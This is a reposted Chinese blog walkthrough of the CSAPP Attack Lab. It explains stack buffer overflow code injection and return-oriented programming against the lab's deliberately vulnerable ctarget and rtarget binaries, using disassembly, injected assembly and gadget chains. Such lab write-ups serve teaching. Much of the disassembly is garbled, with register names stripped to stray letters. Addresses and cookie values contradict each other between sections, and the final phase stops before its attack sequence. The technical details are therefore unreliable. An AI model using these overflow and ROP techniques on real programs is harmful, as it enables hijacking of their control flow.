CSAPP理解计算机系统 AttackLab
简介
本次实验涉及对两个具有不同安全漏洞的程序进行五次攻击,攻击方式分为两种 Code injection代码注入和 Reeturn-oriented programming(ROP)面向返回编程。
目的:
1、深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可以利用安全漏洞的方法。
2、更好地了解如何编写更安全的程序,以及编译器和操作系统提供一些帮助,以减少程序的易受攻击性。
3、深入了解x86-64机器代码的堆栈和参数传递机制。
4、深入了解x86-64指令的编码方式。
5、熟练使用gdb和objdump等调试工具。
文件说明
ctarget:一个容易遭受code injection攻击的可执行程序。
rtarget:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt:一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
整个Lab的大致流程就是,输入一个字符串,然后利用stack的buffer overflow,去修改stack中的数据,进而改变程序的运行,达成我们的攻击目的。具体地,是要通过反汇编上述文件通过文件中test()函数去调用getbuf()函数这个入口,来完成对stack某些部分的覆盖,利用两种攻击程序的技术,让程序调用我们希望调用的touch函数。
X68-64寄存器和堆栈
X86-64有16个64位寄存器
1、 %rax 作为函数返回值使用。
2、 %rsp 栈指针寄存器,指向栈顶。
3、 %rdi, %rsi, %rdx, %rcx, %r8, %r9 用作函数参数,依次对应第1参数,第2参数……
4、 %rbx, %rbp, %r12, %r13, , 用作数据存储,遵循被调用者使用规则。
5、 %r10, %r11 用作数据存储,遵循调用者使用规则。
辅助工具说明
hex2raw:要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用 小端法字节序。(将输入的十六进制字符转换为相应ASCII码)
./hex2raw <attack.txt> attackraw.txt
CI:代码注入攻击
代码注入攻击:通过使缓冲区溢出,注入攻击代码。ctarget
文件将执行test
函数,实验·任务是在执行完getbuf
函数后,程序不继续执行test
函数,而是执行touch
函数
在前三个阶段,因为程序的设置方式使堆栈位置在每次运行时保持一致,因此堆栈上的数据可以作为可执行代码处理。这些特性使程序容易受到攻击,攻击字符串包含可执行代码的字节编码。
通过objdump -d ctarget > ctarget.txt反汇编得到相应的汇编程序,根据汇编程序来完成试验任务。
phase_1
使getbuf
返回时,执行touch1
而不是返回test
。
0000000000401987 <test>:
401987: 48 83 ec 08 sub $0x8,%rsp
40198b: b8 00 00 00 00 mov $0x0,x
401990: e8 78 fe ff ff callq 40180d <getbuf>
401995: 89 c6 mov x,%esi
401997: bf 18 30 40 00 mov $0x403018,i //查看传递参数的内容
40199c: b8 00 00 00 00 mov $0x0,x
4019a1: e8 da f2 ff ff callq 400c80 <printf@plt>
4019a6: 48 83 c4 08 add $0x8,%rsp
4019aa: c3 retq
4019ab: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
看test
函数中的内容。test中调用了getbuf函数,esi中保存了传递的第一个参数。
000000000040180d <getbuf>:
40180d: 48 83 ec 28 sub $0x28,%rsp #getbuf创建的缓冲区大小为0x28=40字节。
401811: 48 89 e7 mov %rsp,%rdi
401814: e8 31 02 00 00 callq 401a4a <Gets>
401819: b8 01 00 00 00 mov $0x1,x
40181e: 48 83 c4 28 add $0x28,%rsp
401822: c3 retq
touch1函数的起始地址为0x4018。getbuf在栈中分配了40个字节的内存来存储输入数据。在执行ret指令后,从%rsp 40处获得返回地址,因此我们需要来利用缓冲区溢出覆盖掉其返回地址,就可以将返回地址修改为touch1的起始地址,即将输入的第40-47个字符写为touch1函数的起始地址。
0000000000401823 <touch1>:
401823: 48 83 ec 08 sub $0x8,%rsp
401827: c7 05 cb 2c 20 00 01 movl $0x1,0x202ccb(%rip) # 6044fc <vlevel>
40182e: 00 00 00
401831: bf 51 2f 40 00 mov $0x402f51,i
401836: e8 15 f4 ff ff callq 400c50 <puts@plt>
40183b: bf 01 00 00 00 mov $0x1,i
401840: e8 f4 03 00 00 callq 401c39 <validate>
401845: bf 00 00 00 00 mov $0x0,i
40184a: e8 91 f5 ff ff callq 400de0 <exit@plt>
touch1
上面字符是填充满整个缓冲区(40字节)从而溢出 用函数touch1的起始地址覆盖原先的返回地址
phase_2
使getbuf
返回时,执行touch2
而不是返回test
,并且让touch2
以为其接受的输入参数是cookie
0x3159fe74
touch2函数的起始地址为0x40184f,根据x86-64寄存器规则和汇编代码可知touch2函数的输入参数存储在寄存器%rdi。所以我们需要在进入touch2之前先跳转到某个地方,执行注入代码,将修改寄存器%rdi的值为cookie,然后再跳转。所以步骤为:
1、将cookie放入寄存器%rdi中,然后将touch2函数的起始地址压入栈中,这样通过ret指令返回时就可以跳转到touch2。
2、然后将利用缓冲区溢出的漏洞将getbuf函数返回到上述代码的起始位置,即从缓冲区的起始位置执行攻击代码。
流程为:getbuf -> ret = 缓冲区起始地址 -> 注入代码 -> ret -> touch2起始地址
注入代码指令如下:
mov 0x3159fe74, %rdi
pushq $0x40184f //ret指令后出栈跳转到touch2
ret
- 利用编译和反汇编获得注入代码的机器代码:
gcc -c attack1.s
objdump -d attack1.o > attack1.txt
- 们需要知道这段代码在程序中为位置,内存中存储这段代码的位置是由
getbuf
开辟的缓冲区,而getbuf
利用Gets
开辟缓冲区,因此我们需要利用gdb
查看缓冲区的起始位置。 - 缓冲区的起始地址为
0x55615fd8
。
000000000040184f <touch2>:
40184f: 48 83 ec 08 sub $0x8,%rsp
401853: 89 fe mov i,%esi
401855: c7 05 9d 2c 20 00 02 movl $0x2,0x202c9d(%rip) # 6044fc <vlevel>
40185c: 00 00 00
40185f: 3b 3d 9f 2c 20 00 cmp 0x202c9f(%rip),i # 604504 <cookie>
401865: 75 1b jne 401882 <touch2 0x33>
401867: bf 78 2f 40 00 mov $0x402f78,i
40186c: b8 00 00 00 00 mov $0x0,x
401871: e8 0a f4 ff ff callq 400c80 <printf@plt>
401876: bf 02 00 00 00 mov $0x2,i
40187b: e8 b9 03 00 00 callq 401c39 <validate>
401880: eb 19 jmp 40189b <touch2 0x4c>
401882: bf a0 2f 40 00 mov $0x402fa0,i
401887: b8 00 00 00 00 mov $0x0,x
40188c: e8 ef f3 ff ff callq 400c80 <printf@plt>
401891: bf 02 00 00 00 mov $0x2,i
401896: e8 50 04 00 00 callq 401ceb <fail>
40189b: bf 00 00 00 00 mov $0x0,i
4018a0: e8 3b f5 ff ff callq 400de0 <exit@plt>
touch2
phase_3
touch3
也需要传入cookie
但是要求以字符串的形式传入。和touch2的区别是touch3
的参数是cookie
的字符串地址, 寄存器%rdi
存储cookie
字符串的地址。
touch3的起始地址为0x401923。因为在函数中调用了hexmatch函数,并且该函数申请了110字节的内存空间,如果cookie存储在缓冲区内会被覆盖掉,因此通过gdb查看调用hexmatch后栈顶地址为0x55616000,将字符串存储在栈之外即0x55616008处。
cookie值0x55997fa的ACSII码为33 31 35 39 66 65 77 34,末尾的00是字符串结束标识符\n。注入代码为:
0: 48 c7 c7 08 60 61 55 mov $0x55616008,%rdi #存入cookie值ASCII码的地址
7: 68 23 19 40 00 pushq $0x401923 #跳转touch3
c: c3 retq
0000000000401923 <touch3>:
401923: 53 push %rbx
401924: 48 89 fb mov %rdi,%rbx
401927: c7 05 cb 2b 20 00 03 movl $0x3,0x202bcb(%rip) # 6044fc <vlevel>
40192e: 00 00 00
401931: 48 89 fe mov %rdi,%rsi
401934: 8b 3d ca 2b 20 00 mov 0x202bca(%rip),i # 604504 <cookie>
40193a: e8 66 ff ff ff callq 4018a5 <hexmatch>
40193f: 85 c0 test x,x
401941: 74 1e je 401961 <touch3 0x3e>
401943: 48 89 de mov %rbx,%rsi
401946: bf c8 2f 40 00 mov $0x402fc8,i
40194b: b8 00 00 00 00 mov $0x0,x
401950: e8 2b f3 ff ff callq 400c80 <printf@plt>
401955: bf 03 00 00 00 mov $0x3,i
40195a: e8 da 02 00 00 callq 401c39 <validate>
40195f: eb 1c jmp 40197d <touch3 0x5a>
401961: 48 89 de mov %rbx,%rsi
401964: bf f0 2f 40 00 mov $0x402ff0,i
401969: b8 00 00 00 0 0 mov $0x0,x
40196e: e8 0d f3 ff ff callq 400c80 <printf@plt>
401973: bf 03 00 00 00 mov $0x3,i
401978: e8 6e 03 00 00 callq 401ceb <fail>
40197d: bf 00 00 00 00 mov $0x0,i
401982: e8 59 f4 ff ff callq 400de0 <exit@plt>
cookie
touch3.txt
ROP:面向返回的编程
下面的两关都是使用ROP攻击的例子了,因为栈随机化,所以不能使用固定的%rsp地址跳转,有些区域还会禁止代码可执行,这里使用ROP,用程序自身的代码片段来构造攻击。
缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦。现代的编译器和操作系统实现了许多机制,以避免遭受这样的攻击,限制入侵者通过缓冲区溢出攻击获得系统控制的方式。
1 栈随机化
栈随机化的思想使得栈的位置在程序每次运行时都有变化。因此,即使许多机器都运行同样的代码,它们的栈地址都是不同的。上述3个阶段中,栈的地址是固定的,所以我们可以获取到栈的地址,并跳转到栈的指定位置。
2 栈破坏检测
最近的GCC版本在产生的代码加入了一种栈保护者机制,来检测缓冲区越界。其思想是在栈帧中任何局部缓冲区和栈状态之间存储一个特殊的金丝雀值。在恢复寄存器状态和从函数返回之前,程序检查这个金丝雀值是否被该函数的某个操作或者该函数调用的某个操作改变了。如果是的,那么程序异常中止。
3 限制可执行代码区域
最后一招是消除攻击者向系统中插入可执行代码的能力。一种方法是限制哪些内存区域能够存放可执行代码。
- 将
cookie
值传递给%rdi
,难点在于如何用已有的gadget
拼凑出我们需要的指令,可参考如下的指令表。 - 将
touch2
的起始地址放到栈中。查看汇编代码得到touch2
地址为0x4017ec
。
另外,ret
的字节编码是0xc3
;nop
的字节编码是0x90
,啥也不做,只是将%rip
加1。
可以在start_farm
和end_farm
之间找到所有可利用的gadget
。
00000000004019ab <start_farm>:
4019ab: b8 01 00 00 00 mov $0x1,x
4019b0: c3 retq
00000000004019b1 <getval_459>:
4019b1: b8 58 c1 a5 ee mov $0xeea5c158,x
4019b6: c3 retq
00000000004019b7 <setval_253>:
4019b7: c7 07 48 88 c7 c3 movl $0xc3c78848,(%rdi)
4019bd: c3 retq
00000000004019be <addval_162>:
4019be: 8d 87 33 ed 78 90 lea -0x6f8712cd(%rdi),x
4019c4: c3 retq
00000000004019c5 <setval_123>:
4019c5: c7 07 58 90 90 c3 movl $0xc3909058,(%rdi)
4019cb: c3 retq
00000000004019cc <addval_227>:
4019cc: 8d 87 c3 12 58 c3 lea -0x3ca7ed3d(%rdi),x
4019d2: c3 retq
00000000004019d3 <addval_498>:
4019d3: 8d 87 d0 68 89 c7 lea -0x38769730(%rdi),x
4019d9: c3 retq
00000000004019da <setval_231>:
4019da: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
4019e0: c3 retq
00000000004019e1 <addval_409>:
4019e1: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),x
4019e7: c3 retq
00000000004019e8 <mid_farm>:
4019e8: b8 01 00 00 00 mov $0x1,x
4019ed: c3 retq
00000000004019ee <add_xy>:
4019ee: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019f2: c3 retq
00000000004019f3 <addval_236>:
4019f3: 8d 87 99 ca 90 c3 lea -0x3c6f3567(%rdi),x
4019f9: c3 retq
00000000004019fa <getval_214>:
4019fa: b8 89 c1 90 c7 mov $0xc790c189,x
4019ff: c3 retq
0000000000401a00 <setval_286>:
401a00: c7 07 09 d6 38 c0 movl $0xc038d609,(%rdi)
401a06: c3 retq
0000000000401a07 <addval_314>:
401a07: 8d 87 48 8d e0 c3 lea -0x3c1f72b8(%rdi),x
401a0d: c3 retq
0000000000401a0e <getval_171>:
401a0e: b8 8d d6 20 c9 mov $0xc920d68d,x
401a13: c3 retq
0000000000401a14 <getval_102>:
401a14: b8 89 c1 c4 db mov $0xdbc4c189,x
401a19: c3 retq
0000000000401a1a <setval_216>:
401a1a: c7 07 48 89 e0 92 movl $0x92e08948,(%rdi)
401a20: c3 retq
0000000000401a21 <getval_131>:
401a21: b8 48 81 e0 90 mov $0x90e08148,x
401a26: c3 retq
0000000000401a27 <addval_494>:
401a27: 8d 87 89 d6 84 c9 lea -0x367b2977(%rdi),x
401a2d: c3 retq
0000000000401a2e <setval_355>:
401a2e: c7 07 09 d6 c3 38 movl $0x38c3d609,(%rdi)
401a34: c3 retq
0000000000401a35 <setval_279>:
401a35: c7 07 89 c1 90 90 movl $0x9090c189,(%rdi)
401a3b: c3 retq
0000000000401a3c <setval_201>:
401a3c: c7 07 99 ca 08 db movl $0xdb08ca99,(%rdi)
401a42: c3 retq
0000000000401a43 <setval_452>:
401a43: c7 07 88 d6 84 db movl $0xdb84d688,(%rdi)
401a49: c3 retq
0000000000401a4a <setval_437>:
401a4a: c7 07 a9 ca 38 c0 movl $0xc038caa9,(%rdi)
401a50: c3 retq
0000000000401a51 <addval_289>:
401a51: 8d 87 b6 89 d6 90 lea -0x6f29764a(%rdi),x
401a57: c3 retq
0000000000401a58 <setval_219>:
401a58: c7 07 48 81 e0 90 movl $0x90e08148,(%rdi)
401a5e: c3 retq
0000000000401a5f <setval_325>:
401a5f: c7 07 89 c1 48 d2 movl $0xd248c189,(%rdi)
401a65: c3 retq
0000000000401a66 <setval_204>:
401a66: c7 07 89 ca 38 d2 movl $0xd238ca89,(%rdi)
401a6c: c3 retq
0000000000401a6d <getval_109>:
401a6d: b8 48 89 e0 90 mov $0x90e08948,x
401a72: c3 retq
0000000000401a73 <addval_271>:
401a73: 8d 87 c9 ca 38 c0 lea -0x3fc73537(%rdi),x
401a79: c3 retq
0000000000401a7a <addval_340>:
401a7a: 8d 87 89 c1 38 c0 lea -0x3fc73e77(%rdi),x
401a80: c3 retq
0000000000401a81 <setval_273>:
401a81: c7 07 48 89 e0 c3 movl $0xc3e08948,(%rdi)
401a87: c3 retq
0000000000401a88 <setval_122>:
401a88: c7 07 89 ca 20 c9 movl $0xc920ca89,(%rdi)
401a8e: c3 retq
0000000000401a8f <setval_401>:
401a8f: c7 07 89 ca 28 d2 movl $0xd228ca89,(%rdi)
401a95: c3 retq
0000000000401a96 <addval_360>:
401a96: 8d 87 89 c1 00 db lea -0x24ff3e77(%rdi),x
401a9c: c3 retq
0000000000401a9d <getval_164>:
401a9d: b8 89 c1 c4 db mov $0xdbc4c189,x
401aa2: c3 retq
0000000000401aa3 <setval_287>:
401aa3: c7 07 48 89 e0 c7 movl $0xc7e08948,(%rdi)
401aa9: c3 retq
0000000000401aaa <getval_224>:
401aaa: b8 e1 89 d6 94 mov $0x94d689e1,x
401aaf: c3 retq
0000000000401ab0 <addval_394>:
401ab0: 8d 87 89 ca a4 d2 lea -0x2d5b3577(%rdi),x
401ab6: c3 retq
0000000000401ab7 <setval_218>:
401ab7: c7 07 48 89 e0 92 movl $0x92e08948,(%rdi)
401abd: c3 retq
0000000000401abe <getval_295>:
401abe: b8 89 d6 00 c9 mov $0xc900d689,x
401ac3: c3 retq
0000000000401ac4 <addval_110>:
401ac4: 8d 87 a7 99 c1 90 lea -0x6f3e6659(%rdi),x
401aca: c3 retq
0000000000401acb <end_farm>:
401acb: b8 01 00 00 00 mov $0x1,x
401ad0: c3 retq
401ad1: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
401ad8: 00 00 00
401adb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
phase_4
要求
1、只能使用前八个x86-64寄存器 %rax-%rdi ;
2、只能使用 movq, popq, ret, nop的 gadget;
3、只能使用两个 gadget完成攻击;
和Level 2一样将cookie存储进寄存器%rdi内。所以需要在rterget中找到相应gadget,可以凑出相应的能够实现攻击的指令。先将寄存```器%rax的值设置为cookie,然后复制给%rdi。,可以拼凑出代码为:
popq %rax
ret # 0x4019ab
mov %rax,%rdi
ret # 0x4019a2
mov rax rdi 48 89 c7 ret c3 4019dc
popq rax 58 4019c7
touch4:
phase_5
要求
1、只能使用前八个x86-64寄存器 %rax-%rdi ;
2、可以使用 movq, movl, popq, ret, nop的 gadget;
3、可以使用在 rtarget代码中在 start_farm和 end_farm区域内的任意 gadget完成攻击;
4、至少需要8个 gadget实现此次攻击。
需要将寄存器%rdi的值设置为cookie字符串的指针,即存储cookie字符串的地址。
找到满足要求的gadget拼凑出攻击指令
movq %rsp,%rax //传递栈顶位置栈顶位置
//因为不能将cookie字符串存储在栈顶位置,需要另找位置,将cookie字符串存储在rsp x处
add $x ,%rax
movq %rax,%rdi //将cookie字符串地址传递给%rdi
- 因此我们需要找到一个能够实现加法或减法的运算的
gadget
,但是参考文件中并没有以下相关的字节编码,需要寻找其他方法
mov %rsp,%rax # 48 89 e0 401a6e
ret
mov %rax,%rdi #先将栈顶%rsp存入%rdi内 #4019dc
ret
popq %rax #将偏移量赋值给% 4019c7
ret
movl x,x
ret
movl x,x
ret
movl x,%esi #%esi = 偏移量
ret
lea (%rdi,%rsi,1),%rax #%rax = %rsp 偏移量
ret
mov %rax,%rdi #%rdi = cookie字符地址
ret
方法二:指令如下
// address is 0x401a06,execute a part of addval_190
movq %rsp,%rax
ret
//address is ox4019d8,execute a part of add_xy
add 0x37,%al
ret
//address is 0x4019c5,execute a part of addval_426
movq %rax,%rdi
ret
由上,可以知道攻击序列为
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhggihbg
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01 -
怎样阻止微信小程序自动打开
PHP中文网 06-13